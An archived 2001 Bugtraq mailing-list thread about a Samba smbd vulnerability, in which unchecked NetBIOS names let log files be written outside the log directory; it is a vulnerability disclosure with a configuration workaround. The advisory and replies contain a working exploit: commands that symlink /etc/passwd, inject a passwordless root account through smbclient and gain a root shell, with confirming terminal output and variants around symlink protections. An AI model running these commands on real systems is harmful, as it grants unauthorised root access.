6661184 2001-06-23 23:24 -0400 /111 rader/ Michal Zalewski <lcamtuf@bos.bindview.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-24 16:39 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17586>
Ärende: smbd remote file creation vulnerability
------------------------------------------------------------
From: Michal Zalewski <lcamtuf@bos.bindview.com>
To: bugtraq@securityfocus.com
Message-ID: <Pine.LNX.4.21.0106232315510.10682-100000@nimue.bos.bindview.com>
** Please hold with approving this one before Monday, if possible.
** This is a forced release.
Author: Michal Zalewski <lcamtuf@razor.bindview.com>
Topic:
Insufficient parameter validation and unsafe default configuration
make numerous systems running samba SMB file sharing daemon
vulnerable to remote attacks.
Vulnerable platforms:
Tested on smbd 2.0.7 shipped with RedHat Linux 7.0 and
7.1. Confirmed on 2.0.8.
Overview:
Due to insufficient NetBIOS computer name validation in incoming
SMB requests, in conjunction with default configuration found for
example in RedHat Linux and derivates, samba daemon allows remote
attackers to create SMB session log files (*.log) with highly
attacker-dependent contents outside outside logs directory. This
vulnerability itself can be used to perform DoS attacks, or, if
combined with unprivileged local access, can be used to gain
superuser privileges.
On vulnerable platforms, by default, each SMB session is logged to
the file /var/log/samba/<netbios-name>.log. If the attacker is
connecting from 'FOOBAR', logs would be put in
/var/log/foobar.log. Unfortunately, NetBIOS name '../../../evil'
would be accepted, as well, creating /evil.log file.
This vulnerability is exploitable if the following setting is
present in smb.conf file:
log file = /var/log/samba/%m.log
...which is default on major Linux distributions, and probably few
other platforms, as well. On some systems, configuration might be
different:
log file = /usr/local/samba/var/log.%m
In the second case (e.g. FreeBSD), there is usually no way to
exploit this vulnerability.
Additionally, as noticed by Mark Loveless, using specific NetBIOS
names, like 'non/existing/dir', it is possible to avoid logging of
error messages (e.g. authentication failures) at all, which might
be very useful for performing brute-force attacks.
Note that any non-default configuration not using any prefix or
suffix (log- or .log) in log filename would be vulnerable to
instant remote compromise.
Exploit:
This is the scenario of local privilege escalation attack against
RedHat 7.x installation:
$ ln -s /etc/passwd /tmp/x.log
$ smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" \
-n ../../../tmp/x -N
...where 'NIMUE' stands for local host name (few error messages
should be returned).
$ su toor
#
Explaination of this attack is pretty trivial. Samba daemon tries
to access logfile for host introducing itself as '../../../tmp/x'.
This translates to open() on /var/log/samba/../../../tmp/x.log.
Thus, /tmp/x.log is opened in O_APPEND mode, following previously
created symlink to /etc/passwd.
Then, anonymous attempt to mount non-existing share named
"\ntoor::0:0::/:/bin/sh\n" is logged in /tmp/x.log, or, if you
prefer, in /etc/passwd. Error message looks this way:
[2001/06/22 14:53:03, 1] smbd/reply.c:reply_sesssetup_and_X(925)
Rejecting user 'lcamtuf': authentication failed
[2001/06/22 14:53:03, 0] smbd/service.c:make_connection(214)
../../../tmp/x (192.233.133.108) couldn't find service
toor::0:0::/:/bin/sh
The last line is, obviously, accepted by /bin/su or /bin/login.
Fix information:
As a temporary workaround, we suggest changing 'log file' setting,
as described above. This vulnerability has been confirmed by the
vendor, and is addressed there:
http://us1.samba.org/samba/whatsnew/macroexploit.html
Removing '%m' at all would protect against attackers trying to
avoid logging at all. Vendor was informed, fix will be publicly
available soon.
(6661184) /Michal Zalewski <lcamtuf@bos.bindview.com>/(Ombruten)
6665693 2001-06-25 00:14 +0200 /49 rader/ <maniac@localhost.sk>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-25 18:34 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern kopiemottagare: Michal Zalewski <lcamtuf@bos.bindview.com>
Mottagare: Bugtraq (import) <17606>
Kommentar till text 6661184 av Michal Zalewski <lcamtuf@bos.bindview.com>
Ärende: Re: smbd remote file creation vulnerability
------------------------------------------------------------
From: maniac@localhost.sk
To: bugtraq@securityfocus.com
Cc: Michal Zalewski <lcamtuf@bos.bindview.com>
Message-ID: <20010625001401.A2738@localhost.sk>
> Exploit:
>
> This is the scenario of local privilege escalation attack against
> RedHat 7.x installation:
>
> $ ln -s /etc/passwd /tmp/x.log
>
> $ smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" \
> -n ../../../tmp/x -N
>
> ...where 'NIMUE' stands for local host name (few error messages
> should be returned).
>
> $ su toor
> #
Hi,
Mandrake 7.1 (Mandrake 8.0 and RedHat6.2) defaultly logs here:
/var/log/samba/log.%m
I replaced it with /var/log/samba/%m.log and used your exploit, which
worked - into /etc/passwd was appended also line:
toor::0:0::/:/bin/sh
But until there was that two spaces onto begining of line, it was
impossible to su to that account, this is error message:
Jun 24 23:28:55 localhost PAM_pwdb[23844]: check pass; user unknown
I tried to insert \r after the first \n, but unsucessfully.
I'm using pam-0.72-7mdk.
This versions of PAM also don't permit spaces on begining of line:
pam-0.72-20.6.x (Redhat6.2)
pam-0.74-6mdk (Mandrake8.0(
Maybe sshd without PAM support and permitting empty password may be
'vulnerable' on such systems.
maniac
(6665693) / <maniac@localhost.sk>/------------------
6667562 2001-06-25 19:09 +0200 /69 rader/ Pavol Luptak <wilder@hq.alert.sk>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-26 00:31 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17613>
Kommentar till text 6665693 av <maniac@localhost.sk>
Ärende: Re: smbd remote file creation vulnerability
------------------------------------------------------------
On Mon, Jun 25, 2001 at 12:14:02AM +0200, maniac@localhost.sk wrote:
>
> Hi,
>
> Mandrake 7.1 (Mandrake 8.0 and RedHat6.2) defaultly logs here:
> /var/log/samba/log.%m
>
> I replaced it with /var/log/samba/%m.log and used your exploit, which
> worked - into /etc/passwd was appended also line:
> toor::0:0::/:/bin/sh
>
> But until there was that two spaces onto begining of line, it was
> impossible to su to that account, this is error message:
>
> Jun 24 23:28:55 localhost PAM_pwdb[23844]: check pass; user unknown
>
> I tried to insert \r after the first \n, but unsucessfully.
> I'm using pam-0.72-7mdk.
>
> This versions of PAM also don't permit spaces on begining of line:
> pam-0.72-20.6.x (Redhat6.2)
> pam-0.74-6mdk (Mandrake8.0(
>
> Maybe sshd without PAM support and permitting empty password may be
> 'vulnerable' on such systems.
[wilder@lysurus wilder]$ cat /etc/redhat-release
Linux Mandrake release 8.0 (Traktopel) for i586
[wilder@lysurus wilder]$ rpm -q pam
pam-0.74-6mdk
[wilder@lysurus wilder]$ egrep "log file" /etc/smb.conf
# this tells Samba to use a separate log file for each machine
log file = /var/log/samba/%m.log (= changed from default log.%m)
# Put a capping on the size of the log files (in Kb).
[wilder@lysurus wilder]$ rpm -qf /usr/sbin/smbd
samba-2.0.9-1.3mdk
[wilder@lysurus wilder]$ ln -s /etc/passwd /tmp/x.log
[wilder@lysurus wilder]$ smbclient //localhost/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" -n ../../../tmp/x -N
added interface ip=10.0.0.43 bcast=10.0.0.255 nmask=255.255.255.0
Anonymous login successful
Domain=[UI42] OS=[Unix] Server=[Samba 2.0.9]
[wilder@lysurus wilder]$ tail /etc/passwd
..
..
[2001/06/25 18:46:48, 1] smbd/reply.c:reply_sesssetup_and_X(927)
Rejecting user 'wilder': authentication failed
[2001/06/25 18:46:48, 0] smbd/service.c:make_connection(213)
../../../tmp/x (127.0.0.1) couldn't find service
toor::0:0::/:/bin/sh
[wilder@lysurus wilder]$ su toor
[root@lysurus wilder]#
Appending to /etc/passwd has nothing to do with pam.
Mandrake security fix of samba-2.0.9-1.3mdk does not solve this
security problem. This exploit works with samba 2.0.8 without
problems, too.
Linux kernels with openwall patch (with restricted links in /tmp) are
imunne to this type of attack (following symlinks does not work, link
owner does not match with file's owner).
Cheers,
Pavol
--
_______________________________________________________________________
[wilder@hq.alert.sk] [http://hq.alert.sk/~wilder] [talker: ttt.sk
5678]
(6667562) /Pavol Luptak <wilder@hq.alert.sk>/(Ombruten)
Bilaga (application/pgp-signature) i text 6667563
6667563 2001-06-25 19:09 +0200 /10 rader/ Pavol Luptak <wilder@hq.alert.sk>
Importerad: 2001-06-26 00:31 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17614>
Bilaga (text/plain) till text 6667562
Ärende: Bilaga till: Re: smbd remote file creation vulnerability
------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org
iD8DBQE7N3A/hL+8XxdK5TIRAqw0AKClDu7mLsRDd1WqP1xy5QsL2iMPUwCglNb8
C76JzoWb5djJrCG6h2atdfc=
=AyqG
-----END PGP SIGNATURE-----
(6667563) /Pavol Luptak <wilder@hq.alert.sk>/-------
6671900 2001-06-26 14:53 +0200 /17 rader/ Pavol Luptak <wilder@hq.alert.sk>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-26 22:31 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern kopiemottagare: Jarno Huuskonen <Jarno.Huuskonen@uku.fi>
Mottagare: Bugtraq (import) <17626>
Kommentar till text 6671855 av Jarno Huuskonen <Jarno.Huuskonen@uku.fi>
Ärende: Re: smbd remote file creation vulnerability
------------------------------------------------------------
On Tue, Jun 26, 2001 at 09:53:29AM +0300, Jarno Huuskonen wrote:
> On Mon, Jun 25, Pavol Luptak wrote:
> > Linux kernels with openwall patch (with restricted links in /tmp) are
> > imunne to this type of attack (following symlinks does not work, link
> > owner does not match with file's owner).
>
> The symlink restrictions work only in /tmp (mode 1777) directories, so
> making the symlink in your own homedir still works (should work).
Yes, the symlink does not have to be in /tmp, but you have to ensure
the path to your symlink in your own homedir is enough short to fill
in NetBIOS name (about 15 characters).
--
_______________________________________________________________________
[wilder@hq.alert.sk] [http://hq.alert.sk/~wilder] [talker: ttt.sk
5678]
(6671900) /Pavol Luptak <wilder@hq.alert.sk>/(Ombruten)
Bilaga (application/pgp-signature) i text 6671901
Kommentar i text 6677346 av Simple Nomad <thegnome@nmrc.org>
6671901 2001-06-26 14:53 +0200 /10 rader/ Pavol Luptak <wilder@hq.alert.sk>
Importerad: 2001-06-26 22:31 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern kopiemottagare: Jarno Huuskonen <Jarno.Huuskonen@uku.fi>
Mottagare: Bugtraq (import) <17627>
Bilaga (text/plain) till text 6671900
Ärende: Bilaga till: Re: smbd remote file creation vulnerability
------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org
iD8DBQE7OIXRhL+8XxdK5TIRAkcRAJ4muSq4z5QZYPcMq4humW7KSy0EzACgiNAl
Nxaf1c8V55tMHdSq/RaRURM=
=LC3B
-----END PGP SIGNATURE-----
(6671901) /Pavol Luptak <wilder@hq.alert.sk>/-------
6677346 2001-06-26 16:46 -0400 /40 rader/ Simple Nomad <thegnome@nmrc.org>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-28 00:06 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17648>
Kommentar till text 6671900 av Pavol Luptak <wilder@hq.alert.sk>
Ärende: Re: smbd remote file creation vulnerability
------------------------------------------------------------
From: Simple Nomad <thegnome@nmrc.org>
To: <bugtraq@securityfocus.com>
Message-ID: <Pine.LNX.4.33.0106261615280.27194-100000@www.nmrc.org>
The limit on the netbios name length must include the ../../../ as a
part of the name, so you've blown 9 characters right there to get to
the root dir. Otherwise you could get to /etc/crontab or something
and the exploit would not require a symlink. So the file can be
created remotely, but as for the symlink that requires local access.
Of course you could try to point /tmp/x.log to ~personaldir/tmp/x.log
which points to /etc/passwd, but that still won't work under the
Openwall patch (just checked to make sure).
- Simple Nomad - "No rest for the Wicca'd" -
- thegnome@nmrc.org - -
- thegnome@razor.bindview.com - www.nmrc.org razor.bindview.com -
On Tue, 26 Jun 2001, Pavol Luptak wrote:
> On Tue, Jun 26, 2001 at 09:53:29AM +0300, Jarno Huuskonen wrote:
> > On Mon, Jun 25, Pavol Luptak wrote:
> > > Linux kernels with openwall patch (with restricted links in /tmp) are
> > > imunne to this type of attack (following symlinks does not work, link
> > > owner does not match with file's owner).
> >
> > The symlink restrictions work only in /tmp (mode 1777) directories, so
> > making the symlink in your own homedir still works (should work).
>
> Yes, the symlink does not have to be in /tmp, but you have to ensure
> the path to your symlink in your own homedir is enough short to fill in
> NetBIOS name (about 15 characters).
> --
> _______________________________________________________________________
> [wilder@hq.alert.sk] [http://hq.alert.sk/~wilder] [talker: ttt.sk 5678]
>
(6677346) /Simple Nomad <thegnome@nmrc.org>/(Ombruten)
6681689 2001-06-27 17:12 -0700 /27 rader/ <sarnold@wirex.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-28 22:53 av Brevbäraren
Extern mottagare: Joachim Blaabjerg <styx@mailbox.as>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17678>
Kommentar till text 6677658 av Joachim Blaabjerg <styx@mailbox.as>
Ärende: Re: smbd remote file creation vulnerability
------------------------------------------------------------
From: sarnold@wirex.com
To: Joachim Blaabjerg <styx@mailbox.as>
Cc: bugtraq@securityfocus.com
Message-ID: <20010627171247.T4196@wirex.com>
On Tue, Jun 26, 2001 at 11:08:04AM +0200, Joachim Blaabjerg wrote:
> > Appending to /etc/passwd has nothing to do with pam.
>
> No, not directly, but if your `su` uses PAM to authenticate users and PAM
> reacts to the spaces in the beginning of the passwd file, it surely has
> something to do with PAM. To check whether `su` uses PAM or not, try "ldd
> `which su`|grep libpam"
The fun thing, of course, is that it doesn't matter about the
specifics of how 'su' reacts when presented with this situation. This
just happened to be a very simple and provocative exploit. The
attacked target doesn't have to be /etc/passwd. This exploit could be
re-written trivially to use other files -- think 'cron',
/root/.bash_profile, /etc/bashrc, /etc/Muttrc, etc. All with at least
one, probably more, lines under control of an attacker.
Regardless of how anyone's 'su' reacts, upgrading samba to a fixed
version is very important.
Seth Arnold
(6681689) / <sarnold@wirex.com>/----------(Ombruten)
6681860 2001-06-28 12:19 +0200 /43 rader/ Olaf Kirch <okir@caldera.de>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-28 23:52 av Brevbäraren
Extern mottagare: Simple Nomad <thegnome@nmrc.org>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17682>
Kommentar till text 6677346 av Simple Nomad <thegnome@nmrc.org>
Ärende: Re: smbd remote file creation vulnerability
------------------------------------------------------------
From: Olaf Kirch <okir@caldera.de>
To: Simple Nomad <thegnome@nmrc.org>
Cc: bugtraq@securityfocus.com
Message-ID: <20010628121932.B26878@monad.caldera.de>
On Tue, Jun 26, 2001 at 04:46:01PM -0400, Simple Nomad wrote:
> The limit on the netbios name length must include the ../../../ as a part
> of the name, so you've blown 9 characters right there to get to the root
> dir. Otherwise you could get to /etc/crontab or something and the exploit
> would not require a symlink. So the file can be created remotely, but as
> for the symlink that requires local access.
Don't rely too much on the length limit. You may not have to go all
the way to the root. For instance, several platforms I've seen have
/var/tmp. Often, there are also /var/log/foobar directories owned by
some special foobar user - break that account first then hop on and
become root.
> Of course you could try to point /tmp/x.log to ~personaldir/tmp/x.log
> which points to /etc/passwd, but that still won't work under the Openwall
> patch (just checked to make sure).
Does that patch keep an attacker from doing the following?
mkdir /tmp/x
ln -s /etc/passwd /tmp/x/.log
and sending a packet with a netbios name of ../../../tmp/x/
(which is 15 chars exactly)?
Or does it keep the attacker from doing this:
ln /etc/passwd /tmp/x.log
(note the absence of -s).
Olaf
--
Olaf Kirch | --- o --- Nous sommes du soleil we love when we play
okir@monad.swb.de | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax
okir@caldera.de +-------------------- Why Not?! -----------------------
UNIX, n.: Spanish manufacturer of fire extinguishers.
(6681860) /Olaf Kirch <okir@caldera.de>/--(Ombruten)
Kommentar i text 6681899 av Simple Nomad <thegnome@nmrc.org>
6681899 2001-06-28 09:20 -0400 /64 rader/ Simple Nomad <thegnome@nmrc.org>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-29 00:06 av Brevbäraren
Extern mottagare: Olaf Kirch <okir@caldera.de>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17683>
Kommentar till text 6681860 av Olaf Kirch <okir@caldera.de>
Ärende: Re: smbd remote file creation vulnerability
------------------------------------------------------------
From: Simple Nomad <thegnome@nmrc.org>
To: Olaf Kirch <okir@caldera.de>
Cc: <bugtraq@securityfocus.com>
Message-ID: <Pine.LNX.4.33.0106280846140.1927-100000@www.nmrc.org>
On Thu, 28 Jun 2001, Olaf Kirch wrote:
> On Tue, Jun 26, 2001 at 04:46:01PM -0400, Simple Nomad wrote:
> > The limit on the netbios name length must include the ../../../ as a part
> > of the name, so you've blown 9 characters right there to get to the root
> > dir. Otherwise you could get to /etc/crontab or something and the exploit
> > would not require a symlink. So the file can be created remotely, but as
> > for the symlink that requires local access.
>
> Don't rely too much on the length limit. You may not have to go all the
> way to the root. For instance, several platforms I've seen have /var/tmp.
> Often, there are also /var/log/foobar directories owned by some special
> foobar user - break that account first then hop on and become root.
Assuming that creating a file with a .log extension in any of those
directories would give you an account remotely. Not that Michal and
several of us at BindView didn't look at that, but we didn't find
anything that lept out.
> > Of course you could try to point /tmp/x.log to ~personaldir/tmp/x.log
> > which points to /etc/passwd, but that still won't work under the Openwall
> > patch (just checked to make sure).
>
> Does that patch keep an attacker from doing the following?
>
> mkdir /tmp/x
> ln -s /etc/passwd /tmp/x/.log
Actually *that* works on Openwall since the x dir doesn't have the
sticky bit set.
> and sending a packet with a netbios name of ../../../tmp/x/
> (which is 15 chars exactly)?
Dunno about samba in particular, because I have no desire to load it
on the system I have Openwall running on. I would suspect it would.
> Or does it keep the attacker from doing this:
>
> ln /etc/passwd /tmp/x.log
>
> (note the absence of -s).
Well it doesn't work on my machines because I have a nasty habit of
putting /tmp on it's own partition, as well as /var/log,
/var/spool/mqueue, and /home among others -- partially for security
purposes such as this. Default systems, I doubt it (see the section
on Restricted Link in /tmp at
http://www.openwall.com/linux/README). If the permissions allow the
hard link with Openwall, odds are samba is the least of your worries
;-)
- Simple Nomad - "No rest for the Wicca'd" -
- thegnome@nmrc.org - -
- thegnome@razor.bindview.com - www.nmrc.org razor.bindview.com -
(6681899) /Simple Nomad <thegnome@nmrc.org>/(Ombruten)